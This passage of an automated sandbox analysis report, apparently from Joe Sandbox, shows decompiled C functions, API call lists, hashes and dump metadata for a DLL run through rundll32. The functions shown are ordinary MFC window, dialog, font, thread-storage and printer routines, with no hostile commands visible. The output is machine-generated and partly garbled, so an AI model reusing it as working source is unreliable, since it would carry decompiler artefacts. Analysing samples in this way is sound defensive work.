				E10017BF4(E10028029, __ebx, __edi, __esi);
				_t100 = __ecx;
				 *((intOrPtr*)(_t101 - 0x20)) = __ecx;
				 *(_t101 - 0x1c) =  *(__ecx + 0x60);
				 *(_t101 - 0x18) =  *(__ecx + 0x5c);
				_t54 = E1000D5EC(__ebx, __edi, __ecx, _t102);
				_t96 =  *(_t54 + 0xc);
				_t84 = 0;
				_t103 =  *(_t100 + 0x58);
				if( *(_t100 + 0x58) != 0) {
					_t96 =  *(E1000D5EC(0, _t96, _t100, _t103) + 0xc);
					_t54 = LoadResource(_t96, FindResourceA(_t96,  *(_t100 + 0x58), 5));
					 *(_t101 - 0x18) = _t54;
				}
				if( *(_t101 - 0x18) != _t84) {
					_t54 = LockResource( *(_t101 - 0x18));
					 *(_t101 - 0x1c) = _t54;
				}
				if( *(_t101 - 0x1c) != _t84) {
					_t86 = _t100;
					 *(_t101 - 0x14) = E1000C6AC(_t84, _t100, __eflags);
					E1000FC04(_t84, _t96, __eflags);
					 *(_t101 - 0x28) =  *(_t101 - 0x28) & _t84;
					__eflags =  *(_t101 - 0x14) - _t84;
					 *(_t101 - 0x2c) = _t84;
					 *(_t101 - 0x24) = _t84;
					if(__eflags != 0) {
						__eflags =  *(_t101 - 0x14) - GetDesktopWindow();
						if(__eflags != 0) {
							__eflags = IsWindowEnabled( *(_t101 - 0x14));
							if(__eflags != 0) {
								EnableWindow( *(_t101 - 0x14), 0);
								 *(_t101 - 0x2c) = 1;
								_t84 = E1000A7CE();
								__eflags = _t84;
								 *(_t101 - 0x24) = _t84;
								if(__eflags != 0) {
									_t86 = _t84;
									__eflags =  *((intOrPtr*)( *_t84 + 0x120))();
									if(__eflags != 0) {
										_t86 = _t84;
										__eflags = E100128F8(_t84);
										if(__eflags != 0) {
											_t86 = _t84;
											E10012913(_t84, 0);
											 *(_t101 - 0x28) = 1;
										}
									}
								}
							}
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) & 0x00000000;
					E100115DC(_t96, __eflags, _t100);
					_t58 = E1000FB5C(_t84, _t86, _t101,  *(_t101 - 0x14));
					_push(_t96);
					_push(_t58);
					_push( *(_t101 - 0x1c));
					_t59 = E1000C984(_t84, _t100, _t94, _t96, _t100, __eflags);
					_t97 = 0;
					__eflags = _t59;
					if(_t59 != 0) {
						__eflags =  *(_t100 + 0x3c) & 0x00000010;
						if(( *(_t100 + 0x3c) & 0x00000010) != 0) {
							_t98 = 4;
							_t71 = E10012862(_t100);
							__eflags = _t71 & 0x00000100;
							if((_t71 & 0x00000100) != 0) {
								_t98 = 5;
							}
							E1000F6F2(_t100, _t98);
							_t97 = 0;
							__eflags = 0;
						}
						__eflags =  *((intOrPtr*)(_t100 + 0x20)) - _t97;
						if( *((intOrPtr*)(_t100 + 0x20)) != _t97) {
							E1001297A(_t100, _t97, _t97, _t97, _t97, _t97, 0x97);
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) | 0xffffffff;
					__eflags =  *(_t101 - 0x28) - _t97;
					if( *(_t101 - 0x28) != _t97) {
						E10012913(_t84, 1);
					}
					__eflags =  *(_t101 - 0x2c) - _t97;
					if( *(_t101 - 0x2c) != _t97) {
						EnableWindow( *(_t101 - 0x14), 1);
					}
					__eflags =  *(_t101 - 0x14) - _t97;
					if(__eflags != 0) {
						__eflags = GetActiveWindow() -  *((intOrPtr*)(_t100 + 0x20));
						if(__eflags == 0) {
							SetActiveWindow( *(_t101 - 0x14));
						}
					}
					 *((intOrPtr*)( *_t100 + 0x60))();
					E1000C6E6(_t84, _t100, _t97, _t100, __eflags);
					__eflags =  *(_t100 + 0x58) - _t97;
					if( *(_t100 + 0x58) != _t97) {
						FreeResource( *(_t101 - 0x18));
					}
					_t63 =  *(_t100 + 0x44);
					goto L31;
				} else {
					_t63 = _t54 | 0xffffffff;
					L31:
					return E10017C60(_t63);
				}
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1000CB7B
FindResourceA.KERNEL32(?,?,00000005), ref: 1000CBAE
LoadResource.KERNEL32(?,00000000), ref: 1000CBB6
LockResource.KERNEL32(?,00000024,100014EC,00000000,EF7D8B91), ref: 1000CBC7
GetDesktopWindow.USER32 ref: 1000CBFA
IsWindowEnabled.USER32(?), ref: 1000CC08
EnableWindow.USER32(?,00000000), ref: 1000CC17

Part of subcall function 100128F8: IsWindowEnabled.USER32(?), ref: 10012901

Part of subcall function 10012913: EnableWindow.USER32(?,EF7D8B91), ref: 10012920

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,EF7D8B91), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,EF7D8B91), ref: 1000CD28

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchLoadLock
String ID:
API String ID: 1509511306-0
Opcode ID: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction ID: 8f78f448105f665873ac1cd7b5fa33a3343bcf420d8a1ae80c8a79bff85a7528
Opcode Fuzzy Hash: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction Fuzzy Hash: A251BF34A007098BFF11DFA5C999EAEBBF1EF44781F20002EE506A6195CB759E41CF55

Uniqueness

Uniqueness Score: -1.00%

Function 10011245, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E10011245(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _t31;
				void* _t33;
				void* _t34;
				void* _t40;
				void* _t43;
				void* _t60;
				void* _t64;
				struct HWND__* _t66;
				CHAR* _t68;
				void* _t71;

				_t64 = __edx;
				_t60 = __ecx;
				_push(0x40);
				E10017BF4(E1002864B, __ebx, __edi, __esi);
				_t66 =  *(_t71 + 8);
				_t68 = "AfxOldWndProc423";
				_t31 = GetPropA(_t66, _t68);
				 *(_t71 - 0x14) =  *(_t71 - 0x14) & 0x00000000;
				 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
				 *(_t71 - 0x18) = _t31;
				_t58 = 1;
				_t33 =  *(_t71 + 0xc) - 6;
				if(_t33 == 0) {
					_t34 = E1000FB5C(1, _t60, _t71,  *(_t71 + 0x14));
					E10011159(_t60, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x10), _t34);
					goto L9;
				} else {
					_t40 = _t33 - 0x1a;
					if(_t40 == 0) {
						_t58 = 0 | E100111CF(1, _t66, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x14),  *(_t71 + 0x14) >> 0x10) == 0x00000000;
						L9:
						if(_t58 != 0) {
							goto L10;
						}
					} else {
						_t43 = _t40 - 0x62;
						if(_t43 == 0) {
							SetWindowLongA(_t66, 0xfffffffc,  *(_t71 - 0x18));
							RemovePropA(_t66, _t68);
							GlobalDeleteAtom(GlobalFindAtomA(_t68));
							goto L10;
						} else {
							if(_t43 != 0x8e) {
								L10:
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66,  *(_t71 + 0xc),  *(_t71 + 0x10),  *(_t71 + 0x14));
							} else {
								E1000E865(E1000FB5C(1, _t60, _t71, _t66), _t71 - 0x30, _t71 - 0x1c);
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66, 0x110,  *(_t71 + 0x10),  *(_t71 + 0x14));
								E100100F3(1, _t64, _t49, _t71 - 0x30,  *((intOrPtr*)(_t71 - 0x1c)));
							}
						}
					}
				}
				return E10017C60( *(_t71 - 0x14));
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1001124C
GetPropA.USER32 ref: 1001125B
CallWindowProcA.USER32 ref: 100112B5

Part of subcall function 100100F3: GetWindowRect.USER32 ref: 1001011B
Part of subcall function 100100F3: GetWindow.USER32(?,00000004), ref: 10010138

SetWindowLongA.USER32(?,000000FC,?), ref: 100112DC
RemovePropA.USER32 ref: 100112E4
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 100112EB
GlobalDeleteAtom.KERNEL32 ref: 100112F2

Part of subcall function 1000E865: GetWindowRect.USER32 ref: 1000E871

CallWindowProcA.USER32 ref: 10011346

Strings

AfxOldWndProc423, xrefs: 10011254, 10011259, 100112E2, 100112EA

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prolog3_catchLongRemove
String ID: AfxOldWndProc423
API String ID: 2702501687-1060338832
Opcode ID: 8fd6b985b15a6b43d9e50dafe11c9ce611adcf5e5826660702256a507342a875
Instruction ID: 0d19250562dc5a9dad551a697ef26f9b08052b09a3581b526b6705a222a2b98b
Opcode Fuzzy Hash: 8fd6b985b15a6b43d9e50dafe11c9ce611adcf5e5826660702256a507342a875
Instruction Fuzzy Hash: 2D317F7680021ABBDF05DFA0CD89EFF7FB9FF05651F100118F611A6051DB359A61ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000C984, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000C984(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t65;
				signed int _t72;
				signed int _t74;
				struct HWND__* _t75;
				signed int _t78;
				signed int _t95;
				intOrPtr* _t103;
				signed int _t110;
				void* _t124;
				signed int _t129;
				DLGTEMPLATE* _t130;
				struct HWND__* _t131;
				void* _t132;

				_t128 = __esi;
				_t124 = __edx;
				_t104 = __ecx;
				_push(0x3c);
				E10017BF4(E1002800E, __ebx, __edi, __esi);
				_t103 = __ecx;
				 *((intOrPtr*)(_t132 - 0x20)) = __ecx;
				_t136 =  *(_t132 + 0x10);
				if( *(_t132 + 0x10) == 0) {
					 *(_t132 + 0x10) =  *(E1000D5EC(__ecx, 0, __esi, _t136) + 0xc);
				}
				_t129 =  *(E1000D5EC(_t103, 0, _t128, _t136) + 0x3c);
				 *(_t132 - 0x28) = _t129;
				 *(_t132 - 0x14) = 0;
				 *(_t132 - 4) = 0;
				E10012406(_t103, _t104, 0, _t129, _t136, 0x10);
				E10012406(_t103, _t104, 0, _t129, _t136, 0x7c000);
				if(_t129 == 0) {
					_t130 =  *(_t132 + 8);
					L7:
					__eflags = _t130;
					if(_t130 == 0) {
						L4:
						_t65 = 0;
						L32:
						return E10017C60(_t65);
					}
					E10009E23(_t132 - 0x1c, E10013479());
					 *(_t132 - 4) = 1;
					 *((intOrPtr*)(_t132 - 0x18)) = 0;
					__eflags = E10014A97(__eflags, _t130, _t132 - 0x1c, _t132 - 0x18);
					__eflags =  *0x1005aa84; // 0x0
					_t72 = 0 | __eflags == 0x00000000;
					if(__eflags == 0) {
						L14:
						__eflags = _t72;
						if(__eflags == 0) {
							L17:
							 *(_t103 + 0x44) =  *(_t103 + 0x44) | 0xffffffff;
							 *(_t103 + 0x3c) =  *(_t103 + 0x3c) | 0x00000010;
							E100115DC(0, __eflags, _t103);
							_t74 =  *(_t132 + 0xc);
							__eflags = _t74;
							if(_t74 != 0) {
								_t75 =  *(_t74 + 0x20);
							} else {
								_t75 = 0;
							}
							_t131 = CreateDialogIndirectParamA( *(_t132 + 0x10), _t130, _t75, E1000C402, 0);
							E10009CB7( *((intOrPtr*)(_t132 - 0x1c)) + 0xfffffff0, _t124);
							 *(_t132 - 4) =  *(_t132 - 4) | 0xffffffff;
							_t110 =  *(_t132 - 0x28);
							__eflags = _t110;
							if(__eflags != 0) {
								 *((intOrPtr*)( *_t110 + 0x18))(_t132 - 0x48);
								__eflags = _t131;
								if(__eflags != 0) {
									 *((intOrPtr*)( *_t103 + 0x12c))(0);
								}
							}
							_t78 = E1000FC04(_t103, 0, __eflags);
							__eflags = _t78;
							if(_t78 == 0) {
								 *((intOrPtr*)( *_t103 + 0x114))();
							}
							__eflags = _t131;
							if(_t131 != 0) {
								__eflags =  *(_t103 + 0x3c) & 0x00000010;
								if(( *(_t103 + 0x3c) & 0x00000010) == 0) {
									DestroyWindow(_t131);
									_t131 = 0;
									__eflags = 0;
								}
							}
							__eflags =  *(_t132 - 0x14);
							if( *(_t132 - 0x14) != 0) {
								GlobalUnlock( *(_t132 - 0x14));
								GlobalFree( *(_t132 - 0x14));
							}
							__eflags = _t131;
							_t59 = _t131 != 0;
							__eflags = _t59;
							_t65 = 0 | _t59;
							goto L32;
						}
						L15:
						E10014A60(_t103, _t132 - 0x38, 0, _t132, _t130);
						 *(_t132 - 4) = 2;
						E100149BE(_t132 - 0x38,  *((intOrPtr*)(_t132 - 0x18)));
						 *(_t132 - 0x14) = E100146D7(_t132 - 0x38);
						 *(_t132 - 4) = 1;
						E100146C9(_t132 - 0x38);
						__eflags =  *(_t132 - 0x14);
						if(__eflags != 0) {
							_t130 = GlobalLock( *(_t132 - 0x14));
						}
						goto L17;
					}
					__eflags = _t72;
					if(_t72 != 0) {
						goto L15;
					}
					__eflags = GetSystemMetrics(0x2a);
					if(__eflags == 0) {
						goto L17;
					}
					_t95 = E1000C95C(_t132 - 0x1c, "MS Shell Dlg");
					__eflags = _t95;
					_t72 = 0 | _t95 == 0x00000000;
					__eflags = _t72;
					if(__eflags == 0) {
						goto L17;
					}
					__eflags =  *((short*)(_t132 - 0x18)) - 8;
					if( *((short*)(_t132 - 0x18)) == 8) {
						 *((intOrPtr*)(_t132 - 0x18)) = 0;
					}
					goto L14;
				}
				_push(_t132 - 0x48);
				if( *((intOrPtr*)( *_t103 + 0x12c))() != 0) {
					_t130 =  *((intOrPtr*)( *_t129 + 0x14))(_t132 - 0x48,  *(_t132 + 8));
					goto L7;
				}
				goto L4;
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1000C98B
GetSystemMetrics.USER32 ref: 1000CA3C
GlobalLock.KERNEL32 ref: 1000CAA5
CreateDialogIndirectParamA.USER32(?,?,?,1000C402,00000000), ref: 1000CAD4

Strings

MS Shell Dlg, xrefs: 1000CA46

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CreateDialogGlobalH_prolog3_catchIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 1736106359-76309092
Opcode ID: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction ID: aca18bfbc2af702d8352a65e986f2fe47acd8ccb78c3dcc49b793ffb13d9be50
Opcode Fuzzy Hash: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction Fuzzy Hash: AF51A031A0020D9FDB05DFA4C88ADEEBBB4EF45780F254559F442EB199DB349E81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 100149BE, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E100149BE(intOrPtr __ecx, signed int _a4) {
				signed int _v8;
				char _v40;
				void _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t12;
				void* _t14;
				char* _t23;
				void* _t29;
				signed short _t30;
				struct HDC__* _t31;
				signed int _t32;

				_t12 =  *0x10057a08; // 0xef7d8b91
				_v8 = _t12 ^ _t32;
				_t31 = GetStockObject;
				_t30 = 0xa;
				_v72 = __ecx;
				_t23 = "System";
				_t14 = GetStockObject(0x11);
				if(_t14 != 0) {
					L2:
					if(GetObjectA(_t14, 0x3c,  &_v68) != 0) {
						_t23 =  &_v40;
						_t31 = GetDC(0);
						if(_v68 < 0) {
							_v68 =  ~_v68;
						}
						_t30 = MulDiv(_v68, 0x48, GetDeviceCaps(_t31, 0x5a)) & 0x0000ffff;
						ReleaseDC(0, _t31);
					}
					L6:
					_t16 = _a4;
					if(_a4 == 0) {
						_t16 = _t30 & 0x0000ffff;
					}
					return E100167D5(E1001486F(_t23, _v72, _t29, _t31, _t23, _t16), _t23, _v8 ^ _t32, _t29, _t30, _t31);
				}
				_t14 = GetStockObject(0xd);
				if(_t14 == 0) {
					goto L6;
				}
				goto L2;
			}

APIs

GetStockObject.GDI32(00000011), ref: 100149E4
GetStockObject.GDI32(0000000D), ref: 100149EC
GetObjectA.GDI32(00000000,0000003C,?), ref: 100149F9
GetDC.USER32(00000000), ref: 10014A08
GetDeviceCaps.GDI32(00000000,0000005A), ref: 10014A1C
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 10014A28
ReleaseDC.USER32 ref: 10014A34

Strings

System, xrefs: 100149DF, 10014A49

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction ID: a63e4a091ca1b7be2859df30e5517b7a4abcdff67d16382c886f5131b7cbdf71
Opcode Fuzzy Hash: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction Fuzzy Hash: 39118F71A40268EBEB10DBA1CC85FAE7BB8FF04781F420015FA02AA190DE709D46CB65

Uniqueness

Uniqueness Score: -1.00%

Function 10009360, Relevance: 13.6, APIs: 9, Instructions: 105
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E10009360(intOrPtr __ecx, intOrPtr _a4) {
				long _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				signed int _t38;
				long _t49;
				intOrPtr _t50;
				void* _t60;
				long _t76;
				void* _t84;
				void* _t85;

				_v32 = __ecx;
				if(_a4 == 8) {
					return E100090F0(_t60, _v32, _t84, _t85);
				}
				if(_a4 == 9) {
					_t38 =  *0x10058ece & 0x000000ff;
					if(_t38 != 0) {
						_v8 = SendMessageA( *(_v32 + 0x94), 0xe, 0, 0);
						_v12 = _v32 + 0x74;
						SendMessageA( *(_v12 + 0x20), 0xb1, _v8, _v8);
						if(0 == 0) {
							SendMessageA( *(_v12 + 0x20), 0xb7, 0, 0);
						}
						_t76 =  *0x10058f0c; // 0x1005aa2c
						_v16 = _t76;
						SendMessageA( *(_v32 + 0x94), 0xc2, 0, _v16);
						if(_v8 > 0x1000) {
							_t50 =  *0x10058f0c; // 0x1005aa2c
							_t21 = _t50 - 0xc; // 0x0
							_v20 =  *_t21;
							_v24 = _v32 + 0x74;
							SendMessageA( *(_v24 + 0x20), 0xb1, 0, _v20);
							if(0 == 0) {
								SendMessageA( *(_v24 + 0x20), 0xb7, 0, 0);
							}
							SendMessageA( *(_v32 + 0x94), 0xc2, 0, 0x100295fc);
						}
						_v28 = SendMessageA( *(_v32 + 0x94), 0xba, 0, 0);
						_t49 = SendMessageA( *(_v32 + 0x94), 0xb6, 0, _v28);
						 *0x10058ece = 0;
						return _t49;
					}
				}
				return _t38;
			}

0x10009366
0x1000936d
0x00000000
0x10009372
0x10009380
0x10009386
0x1000938f
0x100093ab
0x100093b4
0x100093cb
0x100093d3
0x100093e5
0x100093e5
0x100093eb
0x100093f1
0x10009409
0x10009416
0x10009418
0x1000941d
0x10009420
0x10009429
0x1000943e
0x10009446
0x10009458
0x10009458
0x10009474
0x10009474
0x10009493
0x100094ab
0x100094b1
0x00000000
0x100094b1
0x1000938f
0x100094bb

APIs

SendMessageA.USER32 ref: 100093A5
SendMessageA.USER32 ref: 100093CB
SendMessageA.USER32 ref: 100093E5
SendMessageA.USER32 ref: 10009409
SendMessageA.USER32 ref: 1000943E
SendMessageA.USER32 ref: 10009458
SendMessageA.USER32 ref: 10009474
SendMessageA.USER32 ref: 1000948D
SendMessageA.USER32 ref: 100094AB

Part of subcall function 100090F0: _strlen.LIBCMT ref: 100091CA
Part of subcall function 100090F0: _strlen.LIBCMT ref: 100091E4

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$_strlen
String ID:
API String ID: 3697954797-0
Opcode ID: 2ffd05dad576676297fb9eaf6dbc442549bb5f90649f9ff9e88f90ce09603060
Instruction ID: 329eb70852e0cb7846d89551eaf01311ead5dc39bdcc3cc6f9670776eeec1b90
Opcode Fuzzy Hash: 2ffd05dad576676297fb9eaf6dbc442549bb5f90649f9ff9e88f90ce09603060
Instruction Fuzzy Hash: BE411974A40205AFEB04CBA4CD99FAEB7B5FB4C740F208159FA45AB3D5C775AA02CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013C4D, Relevance: 13.6, APIs: 9, Instructions: 96
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E10013C4D(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				void* _t39;
				long _t41;
				void* _t42;
				long _t47;
				void* _t53;
				signed int _t55;
				long* _t62;
				struct _CRITICAL_SECTION* _t64;
				void* _t65;
				void* _t66;

				_push(0x10);
				E10017BF4(E10028893, __ebx, __edi, __esi);
				_t62 = __ecx;
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				_t64 = __ecx + 0x1c;
				 *(_t66 - 0x14) = _t64;
				EnterCriticalSection(_t64);
				_t36 =  *(_t66 + 8);
				if(_t36 <= 0 || _t36 >= _t62[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *_t62);
					if(_t65 == 0) {
						 *(_t66 - 4) = 0;
						_t39 = E10013965(0x10);
						__eflags = _t39;
						if(__eflags == 0) {
							_t65 = 0;
							__eflags = 0;
						} else {
							 *_t39 = 0x1002b1d8;
							_t65 = _t39;
						}
						 *(_t66 - 4) =  *(_t66 - 4) | 0xffffffff;
						_t51 =  &(_t62[5]);
						 *(_t65 + 8) = 0;
						 *(_t65 + 0xc) = 0;
						E10013A82( &(_t62[5]), _t65);
						goto L5;
					} else {
						_t55 =  *(_t66 + 8);
						if(_t55 >=  *(_t65 + 8) &&  *((intOrPtr*)(_t66 + 0xc)) != 0) {
							L5:
							_t75 =  *(_t65 + 0xc);
							if( *(_t65 + 0xc) != 0) {
								_t41 = E100134F9(_t51, __eflags, _t62[3], 4);
								_t53 = 2;
								_t42 = LocalReAlloc( *(_t65 + 0xc), _t41, ??);
							} else {
								_t47 = E100134F9(_t51, _t75, _t62[3], 4);
								_pop(_t53);
								_t42 = LocalAlloc(0, _t47);
							}
							_t76 = _t42;
							if(_t42 == 0) {
								LeaveCriticalSection( *(_t66 - 0x14));
								_t42 = E1000A0A7(0, _t53, _t62, _t65, _t76);
							}
							 *(_t65 + 0xc) = _t42;
							E100174D0(_t62, _t42 +  *(_t65 + 8) * 4, 0, _t62[3] -  *(_t65 + 8) << 2);
							 *(_t65 + 8) = _t62[3];
							TlsSetValue( *_t62, _t65);
							_t55 =  *(_t66 + 8);
						}
					}
					_t36 =  *(_t65 + 0xc);
					if(_t36 != 0 && _t55 <  *(_t65 + 8)) {
						 *((intOrPtr*)(_t36 + _t55 * 4)) =  *((intOrPtr*)(_t66 + 0xc));
					}
					_push( *(_t66 - 0x14));
				}
				LeaveCriticalSection();
				return E10017C60(_t36);
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 10013C54
EnterCriticalSection.KERNEL32(?,00000010,10013E18,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013C65
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013C83
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013CB7
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23
_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction ID: 361604de1dd3242a2b5db774f8c39e7d6c7c8771dcfb3c7945be7f3a81b5ec95
Opcode Fuzzy Hash: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction Fuzzy Hash: 3F317C74500616AFDB20DF65E886C5EBBB5FF04350B21C529F95AAB661CB30ED90CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1000A6E3, Relevance: 12.1, APIs: 8, Instructions: 65
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E1000A6E3(void* __ecx, char* _a4) {
				void* _v8;
				void* _t15;
				void* _t20;
				void* _t35;

				_push(__ecx);
				_t35 = __ecx;
				_t15 =  *(__ecx + 0x74);
				if(_t15 != 0) {
					_t15 = lstrcmpA(( *(GlobalLock(_t15) + 2) & 0x0000ffff) + _t16, _a4);
					if(_t15 == 0) {
						_t15 = OpenPrinterA(_a4,  &_v8, 0);
						if(_t15 != 0) {
							_t18 =  *(_t35 + 0x70);
							if( *(_t35 + 0x70) != 0) {
								E10014056(_t18);
							}
							_t20 = GlobalAlloc(0x42, DocumentPropertiesA(0, _v8, _a4, 0, 0, 0));
							 *(_t35 + 0x70) = _t20;
							if(DocumentPropertiesA(0, _v8, _a4, GlobalLock(_t20), 0, 2) != 1) {
								E10014056( *(_t35 + 0x70));
								 *(_t35 + 0x70) = 0;
							}
							_t15 = ClosePrinter(_v8);
						}
					}
				}
				return _t15;
			}

APIs

GlobalLock.KERNEL32 ref: 1000A700
